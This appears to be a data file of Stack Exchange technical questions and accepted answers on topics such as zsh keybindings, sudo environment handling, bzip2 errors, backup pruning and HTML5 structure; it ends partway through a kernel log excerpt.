"id": "_unix.313093" , "question": "I use zsh's menu-based tab completion. I press Tab once, and a list of possible completions appears. If I press Tab again, I can navigate this list with the arrow keys. However, is it possible to navigate them with the vi-like H, J, K, L keys instead?I use emacs mode for command-line input, with bindkey -e in ~/.zshrc. I also use zim with zsh. If relevant, the commands that specify the tab-completion system are here." , "title": "Can I navigate zsh's tab-completion menu with vi-like hjkl keys?" , "tags": "zsh;autocomplete;line editor" , "accepted_answer": "Yes, you can by enabling menu select:zstyle ':completion:*' menu selectzmodload zsh/complist...# use the vi navigation keys in menu completionbindkey -M menuselect 'h' vi-backward-charbindkey -M menuselect 'k' vi-up-line-or-historybindkey -M menuselect 'l' vi-forward-charbindkey -M menuselect 'j' vi-down-line-or-history" } { "id": "_softwareengineering.221338" , "question": "When we look at the the overlap between the Ruby Community - we see the following overlaps:Think Relevance (now Cognitect) has switched from Ruby to ClojureJay Fields has switched from Ruby to ClojureDavid Chelimsky - author of RSpec - has left the Ruby RSpec project to join CognitectIs there some linguistic similarity that has lead to this crossover?" , "title": "Is there a reason for the crossover from the Ruby community to the Clojure Community?" , "tags": "ruby;clojure" , "accepted_answer": "In a way, Ruby is a stealth lisp. It allows (and encourages) more metaprogramming than most other languages of its class, even the directly comparable Python. I am thinking here of the famous post, Ruby is an Acceptable Lisp. There are limitations, however; functions are not really first-class objects (calling a lambda or a Proc is horrific, for example), you can't truly redefine the language as you can with macros, and so on.It makes sense that people who are attracted to Ruby, which has until this point been the most practical and popular language that encouraged a lot of metaprogramming, would be attracted to a language which has better libraries (via the JVM), runs faster than Ruby, is truly functional, is dynamically typed, and encourages metaprogramming to an even greater degree than Ruby. I would hypothesize that you'll also see a greater crossover from the Python and Haskell communities to Scala." } { "id": "_cs.74787" , "question": "I'm currently studying computer architectures module, and during the workshop I came a across a series of questions that I struggled to being to answer.The question goes;*You have an L1 data cache, L2 cache, and main memory. The hit rates and hit times foreach are:50% hit rate, 2 cycle hit time to L1.70% hit rate, 15 cycle hit time to L2.100% hit rate, 200 cycle hit time to main memory.What fraction of accesses are serviced from L2? From main memory?My answer: (200*0.7)/15 = 9.3To be completely honest, I don't know how to approach these type's of questions, I'd be grateful if someone could point me to resources." , "title": "Calculating fractions of accesses from various levels of memory? (L2 - Main)" , "tags": "cpu cache;memory access" , "accepted_answer": "The order of accesses is L1 → L2 (→ L3) → main memory. The chance of missing is $1 - p$ where $p$ is the hit chance.In order for an access to hit L2 cache, it must have missed the L1 cache, and hit the L2 cache. So the chance is $(1 - 0.5) \\cdot 0.7 = 0.35$.In order for an access to hit main memory, it must have missed the L1 cache, missed L2 cache and hit main memory. So the chance is $(1 - 0.5)\\cdot (1 - 0.7) \\cdot 1 = 0.15$." } { "id": "_webmaster.58095" , "question": "I have a robots.txt with the following in it: User-agent: *Disallow: http://tests.compkerworld.com/report_question_error.php?question_id=*&url=*Sitemap: http://tests.compkerworld.com/sitemap.xmlMy sitemap.xml, which is auto-generated, has all the URLs even those disallowed using robots.txt. I have no problem if the search engines crawl all the pages, but I want to know if such an entry will create any kind of conflict for crawlers.One more question: is the above syntax for disallowing correct?" , "title": "Will there be a conflict between my Sitemap.xml and robots.txt?" , "tags": "sitemap;web crawlers;robots.txt;xml sitemap" } { "id": "_softwareengineering.91984" , "question": "If I was interested in interview questions like Describe how you explained a difficult technical issue to a non-technical person I would use the Googles to search on communication skill interview questions.. But, what I really would like is to have someone actually explain to me some sort of relatively difficult technical issue. So I'm interested in are answers that identify a useful topic for this purpose or examples of what others have do to create scenarios for the purpose of evaluating a candidate's communications. In other words some exercise that actually forces the candidate to communicate something challenging rather than describe some time in their past when they were required to do so. " , "title": "How to Evaluate a Programmer's Communication Skills" , "tags": "interview;communication" , "accepted_answer": "Agree with many of the comments, that this seems overly contrived/complicated but...It seems you have a few choicesAsk a question from a domain outside of the field of expertise - Explain how a transmission works Which helps you see how they communicate their understanding of black box systems.Ask a question from inside the programming domain - Explain how distributed version control works Which helps you understand how they understand something you both know and have experience in.Ask a question that targets their understanding but not yours - Explain to me the X algorithm/system/interaction you worked on for those five years from 2003-2008 Which helps you understand how they communicate their (deep) understanding to a novice. (note - you can also separately test for correctness of their understanding in another part of the interview, you don't need to test for communication and correctness together)I'm probably missing one or two :-) " } { "id": "_codereview.173434" , "question": "I am trying to send a message consisting of a few byte using visual studios c++. The device requires serial communication and I am using array Byte^.The message to be send should start with 02 ASCII(h) i.e. STX. This is followed by 'A1C0' which when send using array would correspond to 0x41, 0x31, 0x43, 0x30 in ASCII(h). The other user input value is for a variable kV which is converted into hex after user provide it; e.g. if a user enter 7700, my code is supposed to convert it to a string of hex i.e. '1E14' which when sent using array should correspond to 0x31, 0x45, 0x31, 0x34.The issue I am faced with is that to calculate the checksum, I am required to add all the ASCII(h) which my array consist of and then take the totals one complement. I am struggling to add all these ASCII(h) primarily because I am sending A1C0 and 1E14 as hex and depends on computer to interpret them in ASCII(h). In this situation I am struggling, with how to add all these ASCII(h) which in described case would require me to add ASCII(h): 2+41+31+43+30+31+45+31+34 = 1C2 and then take the totals ones complement i.e 3D which in ASCII(h) is represented 0x33, 0x44. Following the checksum, I am required to send 03, i.e. ETX to tell the device that the message has ended. So the complete message to be send will contain STX, A1C0, kV, checksum and ETX which from my given explanation in this example will look like: 0x02, 0x41, 0x31, 0x43, 0x30, 0x31, 0x45, 0x31, 0x34, 0x33, 0x44, 0x03. I know to add elements in an array, but that is not simply what I want here. Before reaching out here: I tried to also look online, but was not able to accomplish correctly what I wanted from these links:https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b85f124-d9de-46d5-a569-aecf08146f3a/sum-of-char-array-as-bytes?forum=vcgeneral http://forums.codeguru.com/showthread.php?383059-Perform-hex-addition-in-C-C I will really appreciate some help here! My current code is below:static void message(SerialPort^ port){array<Byte>^ message = gcnew array<Byte>message[0] = 0x02; // STXmessage[1] = 'A1C0'; // A1C0 in ASCII(h) represents 0X41, 0x31, 0x43, 0x30kV<< std::hex << decimal_value; // user entered int decimal_value for kV using Cin - for example user entered 7700, converted to hex --- hex value of 7700 is 1E14std::string power ( kV.str() );message[2] = power; // ASCII(h) of power (which is hex 1E14) represents 0x31, 0x45, 0x31, 0x34unsigned short CHKSUM = ???; // PROBLEM: Calculating total --- adding all the Ascii(h) bytes in the array togethercout << hex << CHKSUM << endl; CHKSUM = ~CHKSUM; // Take one's complement cout << hex << CHKSUM << endl;std::stringstream CHKSUM;message[3] = CHKSUM;message[4] = 0x03; // ETXport->Write(message, 0, message->Length);}" , "title": "Visual C++: Adding together ASCII(h) representation of bytes in a array" , "tags": "beginner;array;serial port;c++ cli" } { "id": "_unix.20825" , "question": "I'm a long term Ubuntu user who is considering migrating from Ubuntu to Debian (mainly because of Unity and the fact that my school has a Debian mirror). I haven't installed Debian on a system before. But again, I am fairly comfortable with reading manuals and working with the command line. Here is my installation plan (after spending some time reading the Debian wiki):Download the Live CD image and use dd to make a Live USB (I think this is the easiest way?)Install DebianConfigure repos using debgenPost-installIt is the post install part I am most confused about. I'd like to know some specific things:Is there an alternative package to ubuntu-restricted-extras on Debian?What the best way to get around with the font smoothing problem in Debian?How much functionality can I expect from Ubuntu Tweak on Debian?Any other tips are also welcome. I found a solution to the font rendering problem here" , "title": "Migrating from Ubuntu to Debian" , "tags": "ubuntu;debian;system installation" , "accepted_answer": "Speaking as a long time Debian user I say take the plunge. You're familiar with Ubuntu, so there will be a lot you're already comfortable with. Don't expect to get 100% feature parity on day one though.Some specific answers:ubuntu-restricted-extras looks like it's basically Flash and gstreamer plugins. For flash, just install flashplugin-nonfree or get it right from Adobe and plop it into Firefox. For the gstreamer plugins there are unofficial sources available (although I don't know exactly where) for multimedia packages.There's a post here about font smoothing on Debian. I've never tried it, but the author claims it works well.Ubuntu Tweak is all stuff that Debian folks generally prefer to do manually. You'll learn a lot, and have fun doing it.And a final note, don't bother using debgen. Just use the Debian mirror for the country you're in (e.g., the U.S. is ftp.us.debian.org). After install your school's mirror to /etc/apt/sources.list." } { "id": "_unix.205128" , "question": "I'm learning Linux, and I'm a little confused right now. In the below screenshot, I was not able to understand the third shortcut of Table 2-1.It says that cd ~user_name will change the working directory to the home directory of the user_name. But, when I entered this command, I was in the same directory i.e, ~$ and not in /home$. Why?Are they both same ?I think the formal one is the user directory and the later one is the home directory.Sorry if I asked something foolish, and thank you in advance! " , "title": "What is the difference between home$ and ~$?" , "tags": "linux;ubuntu;command line;directory;directory structure" } { "id": "_softwareengineering.325844" , "question": "I have a question about what the best design pattern to use would be. I have 2 specific scenarios, the first one fits neatly into a Unit of Work(UoW) pattern. The second is a little bit more fiddly. Basically, in certain business scenarios, I have a need to save some data even if all others information fails to save due (reasons not including database server going down). For example, we get information about people having paid balances on their account. So the first table we save information to is the Payments table, before moving on to saving other entities including audit rows. However, we consider the audit rows to be less important than having a record inserted about the payment having been made. Using the traditional UOW pattern, the rollback would not allow us to commit the Payment record either.So I'm a little bit stuck as to how I would implement such a mechanism without having multiple patterns in our domain layer.I have also considered having the important records be their own UoW and then the audit records as a separate UoW. What would be considered the better way forward? Our basic stack is C#, MVC, Entity Framework and AutofacAny guidance would definitely be appreciated. " , "title": "Best design pattern for two specific scenarios, the first one fits neatly into a Unit of Work(UoW) pattern" , "tags": "c#;design;design patterns;unit of work" } { "id": "_unix.158501" , "question": "I have extracted a large (3.9GB) tar.bz2 file using the following command:tar -xjvf archive.tar.bz2The extract proceeds fines but exits printing:bzip2: (stdin): trailing garbage after EOF ignoredIs there a problem with the archive/extract? Has the integrity of my data been compromised?" , "title": "tar exits with bzip2: (stdin): trailing garbage after EOF ignored after extract" , "tags": "tar;bzip2" , "accepted_answer": "trailing garbage means there is extraneous data at the end of the file that is not part of the bz2 format; so bz2 can't make any sense of the additional data (hence garbage).If you want to provoke the error:$ echo Hello World | bzip2 > helloworld.bz2$ echo Something not bzip2... >> helloworld.bz2$ bunzip2 < helloworld.bz2Hello Worldbunzip2: (stdin): trailing garbage after EOF ignoredThe first command creates a valid bzip2 file that contains the message Hello World.The second command appends Something not bzip2... to the bzip2 file. This is trailing garbage because it's not bzip2 compressed.Running that through bunzip2 produces the valid data, but prints a warning about the extraneous, ignored data.In the end, the data that was originally compressed is still intact, but something odd happened at the end of the file. It may be worth looking at it in a hex editor; sometimes you can tell what happened, sometimes you can't.$ hexdump -C helloworld.bz2 00000000 42 5a 68 39 31 41 59 26 53 59 d8 72 01 2f 00 00 |BZh91AY&SY.r./..|00000010 01 57 80 00 10 40 00 00 40 00 80 06 04 90 00 20 |.W...@..@...... |00000020 00 22 06 86 d4 20 c9 88 c7 69 e8 28 1f 8b b9 22 |.... ...i.(...|00000030 9c 28 48 6c 39 00 97 80 53 6f 6d 65 74 68 69 6e |.(Hl9...Somethin|00000040 67 20 6e 6f 74 20 62 7a 69 70 32 2e 2e 2e 0a |g not bzip2....|This example is obvious, since you usually do not see plain text like this in bzip2 compressed data.The big question is whether the garbage was appended (like in the example above, leaving the original data intact), or if some kind of corruption happened. It's impossible to tell from the error message (bzip2 itself does not really know); however if it was a random corruption, you'd usually see some tar error messages too." } { "id": "_unix.234819" , "question": "I've got a directory, containing lots of weekly generated files with names like db_20130101_foo.tgz db_20130108_foo.tgz db_20130115_foo.tgz ...and so on. Over the years, the disks will get pretty full. As the files contain data for several weeks, we can remove older files. I want to remove every file, but always keep the last file of each month. How will i be able to accomplish this, without having to copy & paste filenames manually to rm, which is a lot of work and pretty error-prone?" , "title": "Remove all but the latest backup file monthwise" , "tags": "shell;scripting;regular expression;backup" , "accepted_answer": "This oneliner will give you the files you want to delete:(ls -1 db_*_foo.tgz; echo) | awk '{prevym=ym; prevfile=file; ym=substr($0,4,6); file=$0; if (ym==prevym)print prevfile}'The first part just lists ALL the files (and adds an extra line to the end of the list, to simplify the later awk command). The awk part just checks each line to see if the ym (yearmonth) changed from one line to the next.Test and make sure that the above lists the files you DO want to delete. Then, to delete all of the files, simply pipe the command into:...ABOVE_COMMAND... | xargs rm" } { "id": "_unix.117751" , "question": "When I type command groups ubuntu, the output would we like,ubuntu : ubuntu adm dialout cdrom floppy audio dip video plugdev netdev adminI am interested in the cdrom group. What does the group cdrom mean? It means user ubuntu can use cdrom device in the OS? If a user who is not in the group cdrom, can he/she use cdrom device in the OS?" , "title": "Confusion about group `cdrom` in linux system" , "tags": "devices;group;data cd" } { "id": "_webmaster.103156" , "question": "is there any way to see the data sent by the browser without firebug? Some other tool? I need to see which data is sent by the browser in some websites and the firebug console sometimes is blank. I've read somewhere that if the script writes to the console variable , the console wont show anything. " , "title": "Seeing data sent by the browser without firebug" , "tags": "browsers;post" } { "id": "_unix.280099" , "question": "HTTP stream from my MPD lags, i.e. audio from Pulse and HTTP output are not in sync, with HTTP output lagging Pulse. This also means that starting/pausing/stopping music from MPD is not reflected immediately on the HTTP stream. Also, the perceived lag on HTTP stream keeps increasing with time. When I first start MPD, the lag is ~2sec, but this balloons to almost half a minute after playing continuously for an hour or so.Following is the setup from my ~/.mpdconfaudio_output { type pulse name My Pulse Output}audio_output { type httpd name My HTTP Stream encoder vorbis # optional, vorbis or lame port 6601 bind_to_address any # optional, IPv4 or IPv6# quality 5.0 # do not define if bitrate is defined bitrate 128 # do not define if quality is defined format 44100:16:1# max_clients 0 # optional 0=no limit always_on yes}" , "title": "Music Player Daemon MPD - Lagging HTTP stream" , "tags": "ubuntu;audio;mpd" } { "id": "_unix.234151" , "question": "I'm running sudo-1.8.6 on CentOS 6.5. My question is very simple: How do I prevent SHELL from propagating from a user's environment to a sudo environment?Usually people are going the other way- they want to preserve an environment variable. However, I am having an issue where my user zabbix whose shell is /sbin/nologin tries to run a command via sudo. Sudo is preserving the /sbin/nologin so that root cannot run subshells. (Update: This part is true, but it is not the SHELL environment variable. It is the shell value that is being pulled from /etc/passwd that is the problem.)I include a test that illustrates the problem; this is not my real-world use case but it simply illustrates that the calling user's SHELL is preserved. I have a program that runs as user zabbix. It calls /usr/bin/sudo -u root /tmp/doit (the programming running as zabbix is a daemon, so the /sbin/nologin shell in the password file does not prevent it). /tmp/doit is a shell script that simply has:#!/bin/shenv > /tmp/outfile(its mode is 755, obviously). In outfile I can see that SHELL is /sbin/nologin. However, at this point the script is running as root, via sudo, so it should not have the previous user's environment variables, right?Here is my /etc/sudoers:Defaults requirettyDefaults !visiblepwDefaults always_set_homeDefaults env_resetDefaults env_keep = COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORSDefaults env_keep += MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPEDefaults env_keep += LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGESDefaults env_keep += LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONEDefaults env_keep += LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITYDefaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin## Allow root to run any commands anywhere root ALL=(ALL) ALL#includedir /etc/sudoers.dAnd here is my /etc/sudoers.d/zabbix:Defaults:zabbix !requirettyzabbix ALL=(root) NOPASSWD: /tmp/doitEdit: A little more information:The process running the sudo is zabbix_agentd, from the Zabbix monitoring software. There is an entry in the /etc/zabbix/zabbix_agentd.d/userparameter_disk.conf file which looks like:UserParameter=example.disk.discovery,/usr/local/bin/zabbix_raid_discovery/usr/local/bin/zabbix_raid_discovery is a Python script. I have modified it to simply do this:print subprocess.check_output(['/usr/bin/sudo', '-u', 'root', '/tmp/doit'])/tmp/doit simply does this:#!/bin/shenv >> /tmp/outfileI run the following on my Zabbix server to run the /usr/local/bin/zabbix_raid_discovery script:zabbix_get -s client_hostname -k 'example.disk.discovery'Then I check the /tmp/outfile, and I see:SHELL=/sbin/nologinTERM=linuxUSER=rootSUDO_USER=zabbixSUDO_UID=497USERNAME=rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbinMAIL=/var/mail/rootPWD=/LANG=en_US.UTF-8SHLVL=1SUDO_COMMAND=/tmp/doitHOME=/rootLOGNAME=rootSUDO_GID=497_=/bin/envThat SHELL line really bugs me. The file is owned by root, so I know it's being created by the root user, but the shell is from the calling user (zabbix)." , "title": "How to prevent the caller's shell from being used in sudo" , "tags": "bash;sudo;environment variables" , "accepted_answer": "Then answer is that sudo has a bug. First, the workaround: I put this in my /etc/sudoers.d/zabbix file:zabbix ALL=(root) NOPASSWD: /bin/env SHELL=/bin/sh /usr/local/bin/zabbix_raid_discoveryand now subcommands called from zabbix_raid_discovery work.A patch to fix this will be in sudo 1.8.15. From the maintainer, Todd Miller:This is just a case of it's always been like that. There's notreally a good reason for it. The diff below should make the behaviormatch the documentation. - todddiff -r adb927ad5e86 plugins/sudoers/env.c--- a/plugins/sudoers/env.c Tue Oct 06 09:33:27 2015 -0600+++ b/plugins/sudoers/env.c Tue Oct 06 10:04:03 2015 -0600@@ -939,8 +939,6 @@ CHECK_SETENV2(USERNAME, runas_pw->pw_name, ISSET(didvar, DID_USERNAME), true); } else {- if (!ISSET(didvar, DID_SHELL))- CHECK_SETENV2(SHELL, sudo_user.pw->pw_shell, false, true); /* We will set LOGNAME later in the def_set_logname case. */ if (!def_set_logname) { if (!ISSET(didvar, DID_LOGNAME))@@ -984,6 +982,8 @@ if (!env_should_delete(*ep)) { if (strncmp(*ep, SUDO_PS1=, 9) == 0) ps1 = *ep + 5;+ else if (strncmp(*ep, SHELL=, 6) == 0)+ SET(didvar, DID_SHELL); else if (strncmp(*ep, PATH=, 5) == 0) SET(didvar, DID_PATH); else if (strncmp(*ep, TERM=, 5) == 0)@@ -1039,7 +1039,9 @@ if (reset_home) CHECK_SETENV2(HOME, runas_pw->pw_dir, true, true);- /* Provide default values for $TERM and $PATH if they are not set. */+ /* Provide default values for $SHELL, $TERM and $PATH if not set. */+ if (!ISSET(didvar, DID_SHELL))+ CHECK_SETENV2(SHELL, runas_pw->pw_shell, false, false); if (!ISSET(didvar, DID_TERM)) CHECK_PUTENV(TERM=unknown, false, false); if (!ISSET(didvar, DID_PATH))" } { "id": "_codereview.69847" , "question": "I have a table in my database with 35000 unique URLs. I use them to create my XML sitemaps for the site. I have setup crontab jobs to create automatically new URLs, delete non existing URLs and determine if a URL is valid.For the last part I use the following function:function get_url_status($url){ $httpCode = 0; $headers = get_headers($url); $http_header_info = $headers[0]; $httpCode = substr($http_header_info, 9, 3); if ($httpCode=='200') { // check in page for noindex and dissable that url $metas = get_meta_tags($url); if ( isset($metas['robots']) && strpos( strtolower($metas['robots']), 'noindex')!==false ) { $httpCode = 410; } }return $httpCode;}This will return to me the HTTP status code - 200 for legal URLs that will be included in sitemap, 400 for not found, 410 for URLs with noindex in them, 301 for redirections, etc.In my XML sitemaps I include only URLs with status code 200.My problem is that this function takes around 40 minutes to check the URLs in database. Is there a way to speed things up?" , "title": "Detecting headers status takes too long" , "tags": "php;performance;http" } { "id": "_unix.226843" , "question": "At first, there is no key mapping. The Caps Lock key on my keyboard behaves as Caps Lock.lone@debian:~$ xmodmap -pke | grep Caps_Lockkeycode 66 = Caps_Lock NoSymbol Caps_Locklone@debian:~$ xmodmap -pm | grep locklock Caps_Lock (0x42)Then I remap my Caps Lock key to function as Escape key.lone@debian:~$ xmodmap -e remove Lock = Caps_Lock -e keycode 66 = Escapelone@debian:~$ xmodmap -pke | grep Caps_Locklone@debian:~$ xmodmap -pm | grep locklockNow when I press the Caps Lock key, I see it behaving like Escape key. I tested this in vi editor.Now I map the Caps Lock key to behave again as Caps Lock key.lone@debian:~$ xmodmap -e keycode 66 = Caps_Locklone@debian:~$ xmodmap -pke | grep Caps_Lockkeycode 66 = Caps_Lock NoSymbol Caps_Locklone@debian:~$ xmodmap -pm | grep locklockNow when I press the Caps Lock key, it indeed behaves as Caps Lock. My question is: Why wasn't it necessary to perform add Lock = Caps_Lock again to make the Caps Lock key behave as Caps Lock.The above output shows that there is no key set to 'lock' modifier. How is it that the Caps Lock key behaves like Caps Lock key then?" , "title": "Why does Caps Lock key behave as Caps Lock key without the Lock modifier?" , "tags": "x11;xmodmap" } { "id": "_webmaster.76399" , "question": "I have noticed that Groupon.com or Zillow.com knows what city I am located in quite reliably and without asking permission.Does anyone know what they or similar big players do to get your location? Are they using private ip-based databases or something else? I need to know what city a user is in, are there any online services that I can use to get a user's location for free? " , "title": "How do websites such as Groupon or Zillow detect user location?" , "tags": "geolocation" , "accepted_answer": "They are most likely using geolocation by IP address or hostname. There are many services that provide data for this. One that I know of that's easy to use is http://freegeoip.net. They have an API that you can call 10,000 times per hour to get geolocation data.For example, if you make an HTTP GET request to http://freegeoip.net/json/stackoverlow.com, you can get data back in multiple formats. This example returns JSON:{ ip: 69.172.201.208, country_code: US, country_name: United States, region_code: NY, region_name: New York, city: New York, zip_code: 10004, time_zone: America/New_York, latitude: 40.689, longitude: -74.021, metro_code: 501}" } { "id": "_webmaster.29259" , "question": "The target is to provide the proper semantic for a page that briefly lists existent articles.At the moment my idea is the following:<body> <article> <header> <h1>Latest Articles</h1> </header> <article> <header> <h1><a href=/article-1>First Article's Heading</a></h1> <p>First article's brief description.</p> </header> </article> <article> <header> <h1><a href=/article-2>Second Article's Heading</a></h1> <p>Second article's brief description.</p> </header> </article> <article> <header> <h1><a href=/article-3>Third Article's Heading</a></h1> <p>Third article's brief description.</p> </header> </article> </article></body>The page (let's call it an archive page) has the main article element containing children articles.Each child has only header because the article does not represent the full version but just a brief.Please, tell me if my version is semantically right (and why it is). Otherwise, propose your version.UPDATED (AFTER THE ANSWER WAS ACCEPTED)Example above is not full what may confuse and cause misunderstanding.I'll try to clear this providing a fuller example with comments.<body> <!-- Header is the same for all pages. --> <header> <h1>Website Title</h1> <p>Website description.</p> </header> <!-- Article presents the main content of specific page. --> <article> <header> <h1>Latest Articles</h1> <p>Last three articles in chronological order.</p> </header> <!-- This page lists existent articles. --> <!-- They are not inside a section element because it isn't a section of something larger but independent articles. --> <article> <header> <h1>First Article's Heading</h1> <p>Supplement to the first article's heading.</p> <p><a href=/article-1 rel=bookmark>Read more</a></p> </header> </article> <article> <header> <h1>Second Article's Heading</h1> <p>Supplement to the second article's heading.</p> <p><a href=/article-2 rel=bookmark>Read more</a></p> </header> </article> <article> <header> <h1>Third Article's Heading</h1> <p>Supplement to the third article's heading.</p> <p><a href=/article-3 rel=bookmark>Read more</a></p> </header> </article> <footer> <nav> <h1>Navigate Through Pages</h1> <p><a href=/page/1 rel=next>Newer</a></p> <p><a href=/page/3 rel=prev>Older</a></p> </nav> </footer> </article> <!-- Footer is the same for all pages. --> <footer> <p><small>Copyright (c) ...</small></p> </footer></body>I just wanted to ensure if the semantic is corrent. It is. The question is clear." , "title": "What's the proper structure of an HTML5 page that briefly lists other articles?" , "tags": "html5" , "accepted_answer": "Frankly, I'd do it exactly the same as I would in HTML4.<body> <h1>Latest Articles</h1> <h2><a href=/article-1>First Article's Heading</a></h2> <p>First article's brief description.</p> <h2><a href=/article-2>Second Article's Heading</a></h2> <p>Second article's brief description.</p> <h2><a href=/article-3>Third Article's Heading</a></h2> <p>Third article's brief description.</p></body>That's all you need. All your extra markup is providing no new information. This contains the same semantic information and the document outline is identical. If you need wrappers for styling, add <div>s as necessary." } { "id": "_unix.284828" , "question": "I'm using Debian unstable and I have a graphical problem after my computer suspend. My Xfce desktop is not correctly rendered on the wakeup, I can see my background through the panel (see screenshot) dmesg log shows an error i915 [...] has bogus alignment. Here is dmesg during the suspend action:[44434.416880] wlp2s0: deauthenticating from 14:0c:76:6f:f2:61 by local choice (Reason: 3=DEAUTH_LEAVING)[44434.437532] cfg80211: World regulatory domain updated:[44434.437538] cfg80211: DFS Master region: unset[44434.437541] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time)[44434.437545] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A)[44434.437549] cfg80211: (2457000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm), (N/A)[44434.437552] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)[44434.437555] cfg80211: (5170000 KHz - 5250000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (N/A)[44434.437559] cfg80211: (5250000 KHz - 5330000 KHz @ 80000 KHz, 160000 KHz AUTO), (N/A, 2000 mBm), (0 s)[44434.437562] cfg80211: (5490000 KHz - 5730000 KHz @ 160000 KHz), (N/A, 2000 mBm), (0 s)[44434.437564] cfg80211: (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 2000 mBm), (N/A)[44434.437568] cfg80211: (57240000 KHz - 63720000 KHz @ 2160000 KHz), (N/A, 0 mBm), (N/A)[44434.531857] PM: Syncing filesystems ... done.[44434.540113] PM: Preparing system for sleep (mem)[44434.540324] (NULL device *): firmware: direct-loading firmware iwlwifi-6000-4.ucode[44434.540338] Freezing user space processes ... (elapsed 0.001 seconds) done.[44434.541893] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done.[44434.543071] PM: Suspending system (mem)[44434.543088] Suspending console(s) (use no_console_suspend to debug)[44434.543385] sd 0:0:0:0: [sda] Synchronizing SCSI cache[44434.543522] sd 0:0:0:0: [sda] Stopping disk[44434.558538] e1000e: EEE TX LPI TIMER: 00000011[44435.211800] PM: suspend of devices complete after 668.537 msecs[44435.227791] PM: late suspend of devices complete after 15.977 msecs[44435.229946] ehci-pci 0000:00:1d.0: System wakeup enabled by ACPI[44435.230164] ehci-pci 0000:00:1a.0: System wakeup enabled by ACPI[44435.230718] e1000e 0000:00:19.0: System wakeup enabled by ACPI[44435.230726] xhci_hcd 0000:00:14.0: System wakeup enabled by ACPI[44435.243838] PM: noirq suspend of devices complete after 16.039 msecs[44435.244332] ACPI: Preparing to enter system sleep state S3[44435.263885] ACPI : EC: EC stopped[44435.263886] PM: Saving platform NVS memory[44435.263897] Disabling non-boot CPUs ...[44435.264334] Broke affinity for irq 30[44435.265847] smpboot: CPU 1 is now offline[44435.266740] Broke affinity for irq 28[44435.266745] Broke affinity for irq 30[44435.266750] Broke affinity for irq 31[44435.267795] smpboot: CPU 2 is now offline[44435.268978] Broke affinity for irq 1[44435.268983] Broke affinity for irq 8[44435.268986] Broke affinity for irq 9[44435.268989] Broke affinity for irq 12[44435.268992] Broke affinity for irq 16[44435.268996] Broke affinity for irq 21[44435.269000] Broke affinity for irq 27[44435.269003] Broke affinity for irq 28[44435.269006] Broke affinity for irq 30[44435.269010] Broke affinity for irq 31[44435.270029] smpboot: CPU 3 is now offline[44435.271974] ACPI: Low-level resume complete[44435.272028] ACPI : EC: EC started[44435.272029] PM: Restoring platform NVS memory[44435.273248] microcode: CPU0 microcode updated early to revision 0x1c, date = 2015-02-26[44435.273281] Enabling non-boot CPUs ...[44435.273360] x86: Booting SMP configuration:[44435.273361] smpboot: Booting Node 0 Processor 1 APIC 0x2[44435.274290] microcode: CPU1 microcode updated early to revision 0x1c, date = 2015-02-26[44435.277098] cache: parent cpu1 should not be sleeping[44435.277332] CPU1 is up[44435.277380] smpboot: Booting Node 0 Processor 2 APIC 0x1[44435.280573] cache: parent cpu2 should not be sleeping[44435.280750] CPU2 is up[44435.280789] smpboot: Booting Node 0 Processor 3 APIC 0x3[44435.284081] cache: parent cpu3 should not be sleeping[44435.284425] CPU3 is up[44435.292188] ACPI: Waking up from system sleep state S3[44435.629721] xhci_hcd 0000:00:14.0: System wakeup disabled by ACPI[44435.630713] ehci-pci 0000:00:1a.0: System wakeup disabled by ACPI[44435.630804] ehci-pci 0000:00:1d.0: System wakeup disabled by ACPI[44435.631744] PM: noirq resume of devices complete after 17.691 msecs[44435.632341] PM: early resume of devices complete after 0.553 msecs[44435.645325] e1000e 0000:00:19.0: System wakeup disabled by ACPI[44435.645806] rtc_cmos 00:02: System wakeup disabled by ACPI[44435.649552] sd 0:0:0:0: [sda] Starting disk[44435.865510] usb 1-1.5: reset high-speed USB device number 4 using ehci-pci[44435.865588] [drm:intel_opregion_init [i915]] *ERROR* No ACPI video bus found[44435.869545] usb 2-1.8: reset full-speed USB device number 3 using ehci-pci[44435.977520] ata5: SATA link down (SStatus 0 SControl 300)[44435.977552] ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300)[44436.125239] ata1.00: ACPI cmd ef/10:06:00:00:00:00 (SET FEATURES) succeeded[44436.125243] ata1.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out[44436.125246] ata1.00: ACPI cmd b1/c1:00:00:00:00:00 (DEVICE CONFIGURATION OVERLAY) filtered out[44436.125328] ata1.00: ACPI cmd 00/00:00:00:00:00:a0 (NOP) rejected by device (Stat=0x51 Err=0x04)[44436.126376] ata1.00: ACPI cmd ef/10:06:00:00:00:00 (SET FEATURES) succeeded[44436.126379] ata1.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out[44436.126397] ata1.00: ACPI cmd b1/c1:00:00:00:00:00 (DEVICE CONFIGURATION OVERLAY) filtered out[44436.126472] ata1.00: ACPI cmd 00/00:00:00:00:00:a0 (NOP) rejected by device (Stat=0x51 Err=0x04)[44436.126682] ata1.00: configured for UDMA/133[44436.293577] usb 2-1.8.2: reset full-speed USB device number 4 using ehci-pci[44436.386794] PM: resume of devices complete after 754.391 msecs[44436.387345] PM: Finishing wakeup.[44436.387349] Restarting tasks ... [44436.410524] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.410648] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has bogus alignment[44436.410735] i915 0000:00:02.0: BAR 6: [??? 0x00000000 flags 0x2] has 